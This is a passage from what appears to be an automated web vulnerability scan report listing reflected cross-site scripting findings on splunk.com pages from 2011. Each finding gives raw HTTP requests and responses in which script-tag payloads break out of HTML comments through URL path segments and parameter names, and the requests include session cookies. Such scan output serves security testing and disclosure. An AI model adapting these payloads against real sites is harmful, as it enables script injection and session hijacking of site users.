Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:53 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:53 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:53 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5161bd1b4b3 -->
...[SNIP]...

4.534. http://www.splunk.com/view/careers/SP-CAAAAGG [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/careers/SP-CAAAAGG

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 267a6--><script>alert(1)</script>4fc3c5eb99e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/careers/SP-CAAAAGG?267a6--><script>alert(1)</script>4fc3c5eb99e=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:05 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 21487d829f9688f63940c67c7815f4ff1296944226
Last-Modified: Sat, 05 Feb 2011 22:17:06 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 24018

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4fc3c5eb99e=1 -->
...[SNIP]...

4.535. http://www.splunk.com/view/cloud-and-managed-service-providers/SP-CAAACP7 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/cloud-and-managed-service-providers/SP-CAAACP7

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 53711--><script>alert(1)</script>ecf5dc23f48 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view53711--><script>alert(1)</script>ecf5dc23f48/cloud-and-managed-service-providers/SP-CAAACP7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:33 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:33 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18475

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>ecf5dc23f48/cloud-and-managed-service-providers/SP-CAAACP7 -->
...[SNIP]...

4.536. http://www.splunk.com/view/cloud-and-managed-service-providers/SP-CAAACP7 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/cloud-and-managed-service-providers/SP-CAAACP7

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 59262--><script>alert(1)</script>4bccf0ded2f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/cloud-and-managed-service-providers59262--><script>alert(1)</script>4bccf0ded2f/SP-CAAACP7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:02 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18475

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4bccf0ded2f/SP-CAAACP7 -->
...[SNIP]...

4.537. http://www.splunk.com/view/cloud-and-managed-service-providers/SP-CAAACP7 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/cloud-and-managed-service-providers/SP-CAAACP7

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 1ba29--><script>alert(1)</script>10e9b5f0ca4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/cloud-and-managed-service-providers/SP-CAAACP71ba29--><script>alert(1)</script>10e9b5f0ca4 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:40 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:40 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:40 GMT; path=/
ETag: ce3911b49673b010cfde7c3586f9d5461296944260
Last-Modified: Sat, 05 Feb 2011 22:17:40 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18475

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>10e9b5f0ca4 -->
...[SNIP]...

4.538. http://www.splunk.com/view/cloud-and-managed-service-providers/SP-CAAACP7 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/cloud-and-managed-service-providers/SP-CAAACP7

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 5271c--><script>alert(1)</script>2fee61c7c19 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/cloud-and-managed-service-providers/SP-CAAACP7?5271c--><script>alert(1)</script>2fee61c7c19=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:15:55 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 2ce4dc14d8530e6b8e2f7a6223742f331296944155
Last-Modified: Sat, 05 Feb 2011 22:15:55 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 32429

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>2fee61c7c19=1 -->
...[SNIP]...

4.539. http://www.splunk.com/view/contact-us/SP-CAAAAH7 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/contact-us/SP-CAAAAH7

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 9b36f--><script>alert(1)</script>acfc5f06107 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view9b36f--><script>alert(1)</script>acfc5f06107/contact-us/SP-CAAAAH7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:25 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:25 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:25 GMT; path=/
ETag: c76acf6e98a1591eab32b904e496f6ce1296944126
Last-Modified: Sat, 05 Feb 2011 22:15:26 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>acfc5f06107/contact-us/SP-CAAAAH7 -->
...[SNIP]...

4.540. http://www.splunk.com/view/contact-us/SP-CAAAAH7 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/contact-us/SP-CAAAAH7

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload dd051--><script>alert(1)</script>8100fcbb878 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/contact-usdd051--><script>alert(1)</script>8100fcbb878/SP-CAAAAH7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:57 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:57 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:57 GMT; path=/
ETag: d1fc130c27cd507f005a3b287ca6ff3a1296944157
Last-Modified: Sat, 05 Feb 2011 22:15:57 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>8100fcbb878/SP-CAAAAH7 -->
...[SNIP]...

4.541. http://www.splunk.com/view/contact-us/SP-CAAAAH7 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/contact-us/SP-CAAAAH7

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload b7887--><script>alert(1)</script>0917a596735 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/contact-us/SP-CAAAAH7b7887--><script>alert(1)</script>0917a596735 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:26 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:26 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:26 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>0917a596735 -->
...[SNIP]...

4.542. http://www.splunk.com/view/contact-us/SP-CAAAAH7 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/contact-us/SP-CAAAAH7

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 56278--><script>alert(1)</script>4d98f9bfc83 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/contact-us/SP-CAAAAH7?56278--><script>alert(1)</script>4d98f9bfc83=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
